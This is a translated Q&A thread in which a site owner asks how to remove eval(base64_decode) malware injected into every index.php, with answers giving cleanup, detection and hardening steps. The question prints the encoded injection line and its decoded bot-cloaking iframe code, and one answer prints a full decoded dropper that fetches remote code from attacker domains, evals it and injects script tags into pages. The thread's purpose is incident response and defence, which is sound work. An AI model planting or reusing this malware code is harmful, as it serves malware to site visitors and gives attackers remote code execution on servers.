Как избавиться от eval-base64_decode, как файлы PHP вирусов? - PullRequest
36 голосов
/ 07 мая 2011

Мой сайт (очень большой сайт сообщества) недавно был заражен вирусом. Каждый index.php файл был изменен так, чтобы открывающий тег php этих файлов был изменен на следующую строку:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

Когда я расшифровал это, он произвел следующий код PHP:

    <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
    if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}

Я пробовал несколько вещей, чтобы очистить вирус, даже восстанавливая его из резервной копии, и файлы повторно заражаются через несколько минут или часов. Так что вы можете мне помочь?

Что вы знаете об этом вирусе?

Есть ли известная дыра в безопасности, которую он использует для установки и распространения?

Что на самом деле делает приведенный выше код php?

Что делает страница, встроенная в iframe?

И, конечно, более важно: Что я могу сделать, чтобы избавиться от него?

Пожалуйста, помогите, у нас почти не осталось идей и надежды: (

Update1 Еще несколько деталей: странная вещь: когда мы впервые проверили зараженные файлы. Они были изменены, но их измененное время в программе ftp показывало, что последний доступ был днями, месяцами или даже годами назад в некоторых случаях! Как это вообще возможно? Это сводит меня с ума!

ОБНОВЛЕНИЕ 2 Я думаю, что проблема возникла после того, как пользователь установил плагин в своей установке Wordpress. После восстановления из резервной копии и полного удаления папки Wordpress и связанной с ней БД проблема, похоже, исчезла. В настоящее время мы подписались на службу безопасности, и они изучают проблему, просто чтобы убедиться, что взлом прошел навсегда. Спасибо всем, кто ответил.

Ответы [ 7 ]

48 голосов
/ 10 мая 2011

Действия по восстановлению и дезинфекции вашего сайта (при условии, что у вас есть надежная резервная копия).

1) Завершение работы сайта

Прежде чем вы сделаете это, вам необходимо закрыть дверь на ваш сайт.ваша исправительная работа.Это не позволит посетителям получать вредоносный код, видеть сообщения об ошибках и т. Д. Просто хорошая практика.

Вы можете сделать это, добавив следующее в файл .htaccess в webroot.(Замените «!! Your IP Address Here !!» своим собственным IP-адресом - см. http://icanhazip.com, если вы не знаете свой IP-адрес.)

order deny,allow
deny from all
allow from !!Your IP Address Here!!

2) Скачать копиюиз всех ваших файлов с сервера

Загрузите все в отдельную папку из ваших хороших резервных копий.Это может занять некоторое время (зависит от размера вашего сайта, скорости соединения и т. Д.).

3) Загрузите и установите утилиту сравнения файлов / папок

На компьютере с Windows вы можете использовать WinMerge- http://winmerge.org/ - это бесплатно и довольно мощно.На компьютере MacOS проверьте список возможных альтернатив из Alternative.to

4) Запустите утилиту сравнения файлов / папок

В итоге вы должны получить несколькоразные результаты:

  • Файлы идентичны - текущий файл совпадает с резервной копией и не подвержен влиянию.
  • Файл только слева / справа - этот файл существует тольков резервной копии (и может быть удален с сервера) или существует только на сервере (и, возможно, был введен / создан хакером).
  • Файл отличается - файл на сервере не являетсятакой же, как в резервной копии, поэтому он может быть изменен вами (для настройки его для сервера) или хакером (для ввода кода).

5) Устранить различия

(он же «Почему мы все не можем просто ладить?»)

Для Идентичных файлов никаких дополнительных действий не требуется.Для файлов, которые существуют только на одной стороне , посмотрите на файл и выясните, являются ли они законными (то есть, пользовательские загрузки, которые должны быть там, дополнительные файлы, которые вы могли добавить, и т. Д.) Для файловРазные , посмотрите на файл (Утилита Различия Файлов может даже показать, какие строки были добавлены / изменены / удалены) и посмотрите, верна ли версия сервера.Перезаписать (с резервной версией) любые файлы, содержащие вредоносный код.

6) Ознакомьтесь с мерами безопасности

Независимо от того, насколько это просто: изменить пароли FTP / cPanel или просмотретьиспользование внешних / неконтролируемых ресурсов (поскольку вы упоминаете, что выполняете много fgets, fopens и т. д., вы можете проверить параметры, передаваемые им, поскольку это позволяет заставить скрипты извлекать вредоносный код) и т. д.

7) Проверка работоспособности сайта

Воспользуйтесь возможностью, чтобы быть единственным, кто просматривает сайт, чтобы убедиться, что все работает должным образом, после исправления зараженных файлов и устранения вредоносных файлов.удален.

8) Откройте Двери

Отмените изменения, внесенные в файл .htaccess в Шаге 1. Внимательно следите.Следите за своими посетителями и журналами ошибок, чтобы увидеть, пытается ли кто-нибудь вызвать удаленные вредоносные файлы и т. Д.

9) Рассмотрите методы автоматического обнаружения

Существует несколько решений, позволяющих вамиметь автоматическую проверку на вашем хосте (с использованием задания CRON), которая обнаружит и детализирует любые изменения, которые происходят.Некоторые из них немного многословны (вы получите электронное письмо для каждого измененного файла), но вы сможете адаптировать их к вашим потребностям:

10) иметь запланированные резервные копии и сохранить хороший брекет

Убедитесь, что вы запланировали резервное копирование на своем веб-сайте, сохраните несколько из них, чтобы у вас были разные шаги, которые вы можете вернуться в прошлое, если это необходимо. Например, если вы выполняли еженедельное резервное копирование, вы можете сохранить следующее:

  • 4 х Еженедельные резервные копии
  • 4 x Ежемесячные резервные копии (вы сохраняете одну из еженедельных резервных копий, возможно, первую неделю месяца, в качестве ежемесячной резервной копии)

Это всегда облегчит жизнь, если кто-то атакует ваш сайт чем-то более разрушительным, чем атака с использованием кода.

Да, и убедитесь, что вы также создаете резервные копии своих баз данных - на многих сайтах, основанных на CMS, хорошо иметь файлы, но если вы потеряете / повредите базу данных за ними, резервные копии в основном бесполезны.

2 голосов
/ 27 мая 2016

Чтобы избавиться от этих вредоносных PHP, вам просто нужно удалить их.Если файл заражен, вам нужно удалить только ту часть, которая выглядит подозрительно.

Найти эти файлы всегда сложно, потому что, как правило, их несколько в корневом веб-каталоге.

Обычноесли вы видите какие-то запутывания, это красное предупреждение для вас.

Большинство вредоносных программ легко найти на основе общих функций, которые они используют, включая:

  • base64_decode,
  • lzw_decompress,
  • eval,
  • и т. Д.

Используя формат кодирования, они сжимаютсяих размер и затрудняет их декодирование неопытными пользователями.

Вот несколько команд grep, которые могут найти наиболее распространенный вредоносный код PHP:

grep -R return.*base64_decode  .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

Вы можете запуститьэти команды на сервере или после синхронизации веб-сайта с локальным компьютером (через FTP, например, ncftpget -R).

Или используйте инструменты сканирования, специально предназначенные для поиска вредоносных файлов такого типа, см. Сканеры безопасности PHP .

В образовательных целях, пожалуйста, найдите следующую коллекцию сценариев эксплойтов PHP, найденную при исследовании взломанных серверов, по адресу kenorb / php-exploit-scripts GitHub (под влиянием @ оригинальная коллекция Mattias ).Это даст вам понимание того, как выглядят эти подозрительные файлы PHP, и вы сможете узнать, как найти их на вашем сервере.

См. Также:

2 голосов
/ 12 октября 2012

Я страдал от той же хакерской работы.Я также смог расшифровать код, и хотя я получил другой код php, я начал с удаления внедренного текста php, просматривая каждый php-файл на сайте и удаляя вызов eval.Я все еще исследую, как я получил его для начала, но вот как выглядело мое после расшифровки с этого сайта:

Чтобы декодировать зашифрованный скрипт php в каждом файле php, используйте это: http://www.opinionatedgeek.com/dotnet/tools/base64decode/

И форматирование результата с помощью этого парня: http://beta.phpformatter.com/

Для очистки вам нужно удалить строку «eval» в верхней части каждого php-файла и удалить папки .log из базовой папкивеб-сайт.

Я нашел скрипт Python, который я немного изменил, чтобы удалить трояна в файлах php, поэтому я опубликую его здесь, чтобы другие могли использовать его: исходный код из потока: замените ВСЕ вхождения символа наеще один во всех файлах иерархически в дереве каталогов

import os
import re
import sys

def try_to_replace(fname):
    if replace_extensions: 
        return fname.lower().endswith(".php")
    return True


def file_replace(fname, pat, s_after):
    # first, see if the pattern is even in the file.
    with open(fname) as f:
        if not any(re.search(pat, line) for line in f):
            return # pattern does not occur in file so we are done.

    # pattern is in the file, so perform replace operation.
    with open(fname) as f:
        out_fname = fname + ".tmp"
        out = open(out_fname, "w")
        for line in f:
            out.write(re.sub(pat, s_after, line))
        out.close()
        os.rename(out_fname, fname)


def mass_replace(dir_name, s_before, s_after):
    pat = re.compile(s_before)
    for dirpath, dirnames, filenames in os.walk(dir_name):
        for fname in filenames:
            if try_to_replace(fname):
                print "cleaning: " + fname
                fullname = os.path.join(dirpath, fname)
                file_replace(fullname, pat, s_after)

if len(sys.argv) != 2:
    u = "Usage: rescue.py <dir_name>\n"
    sys.stderr.write(u)
    sys.exit(1)

mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")

для использования типа

python rescue.py rootfolder

Это то, чтовредоносный скрипт пытался сделать:

<?php

if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;

            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f   = @fopen($url, 'r');
            if ($f) {
                while (!feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $f    = @fsockopen($host, 80, $errno, $errstr, 30);
            if (!$f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $ip1  = @gethostbyname($host);
            $ip2  = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (!@socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val     = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir           = $_SERVER['s_p1'];
            $tdsfile       = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c   = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (!@is_dir($rz)) {
                @mkdir($rz);
                if (@is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (!@is_dir($rz)) {
                        @mkdir($rz);
                        if (@is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua  = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1']     = $mz;
            $_SERVER['s_b1']     = $bot;
            $_SERVER['s_t1']     = 1200;
            $_SERVER['s_d1']     = base64_decode('http://ens122zzzddazz.com/');
            $d                   = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1']     = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
            $_SERVER['s_a2']     = base64_decode('http://nlinthewood.com/g_load.php') . $d;
            $_SERVER['s_script'] = "nl.php?p=d";
        }
        setup_globals_777();
        if (!function_exists('gml_777')) {
            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
                return $r_string_777;
            }
        }
        if (!function_exists('gzdecodeit')) {
            function gzdecodeit($decode)
            {
                $t     = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v     = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }
        ob_start('mrobh');
    }
}

?> 
2 голосов
/ 07 мая 2011

Во-первых, закрывайте свой сайт, пока не сможете выяснить, как он вошел и как это исправить. Похоже, он подает вредоносное ПО вашим клиентам.

Далее, ищите в ваших файлах php fgets, fopen, fputs, eval или system. Я рекомендую notepad ++ из-за его функции «Найти в файлах». Также убедитесь, что это единственное место, где был изменен ваш PHP. У вас есть автономная копия для сравнения?

1 голос
/ 26 августа 2013

Мои сайты / или сайты, которые я размещаю, несколько раз подвергались подобным атакам.

Я представляю, что я сделал, чтобы решить эту проблему.Я не претендую на то, что это лучший / самый простой подход, но он работает, и с тех пор я могу активно удерживать мяч на своем поле.

  1. решить проблему как можно скорее Я создал очень простой скрипт PHP(он был написан, когда железо было горячим, так что, возможно, это не самый оптимизированный код, НО это решает проблему довольно быстро): http://www.ecommy.com/web-security/clean-php-files-from-eval-infection

  2. убедитесь, что вы знаете, когда что-то подобное ударит снова.Хакеры используют всевозможные подходы от SQL-инъекции одного из ваших внешних модулей, которые вы устанавливаете, чтобы грубо заставить вашу админ-панель атакой по словарю или очень хорошо известными шаблонами паролей, такими как 1qaz ... qwerty .... и т.д ... Я представляю сценарииздесь: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  3. запись cron будет выглядеть примерно так: 0 2 * * 5 / root / scripts / base64eval_scan> / dev / null 2> & 1 &

Я обновил страницы, чтобы кто-то мог загружать файлы напрямую.Надеюсь, он будет вам полезен, как и мне :))

0 голосов
/ 03 октября 2013

Предполагая, что это сервер на базе Linux и у вас есть доступ по SSH, вы можете запустить это, чтобы удалить код, вызывающий проблемы:

find . -name "*.php" | xargs sed -i 's@eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@'

Это охватывает все известные реализации base64 и будет работать ли текст base64заключен в одинарные или двойные кавычки

РЕДАКТИРОВАТЬ: теперь работает с внутренним пробелом также

0 голосов
/ 30 января 2012
  1. Убедитесь, что обновлены все популярные веб-приложения, такие как Wordpress или vBulletin.Существует множество эксплойтов со старыми версиями, которые могут привести к взлому вашего сервера, и, вероятно, это произойдет снова, если они не будут обновлены.Бесполезно продолжать, пока это не будет сделано.

  2. Если файлы продолжают заменяться, то в фоновом режиме работает руткит или троян.Этот файл не может копировать себя.Сначала вам придется избавиться от руткита.Попробуйте rkhunter , chkrootkit и LMD .Сравните вывод ps aux с защищенным сервером и проверьте /var/tmp и /tmp на наличие подозрительных файлов.Возможно, вам придется переустановить ОС.

  3. Убедитесь, что все рабочие станции, управляющие сервером, обновлены и чисты.Не подключайтесь через небезопасные беспроводные соединения и не используйте обычную текстовую аутентификацию, как с FTP (вместо этого используйте SFTP).Войдите в панель управления только через https.

  4. Чтобы это больше не повторилось, запустите csf или аналогичный брандмауэр, ежедневно LMD сканирования и будьте в курсе последних обновлений безопасности для всехприложения на сервере.

...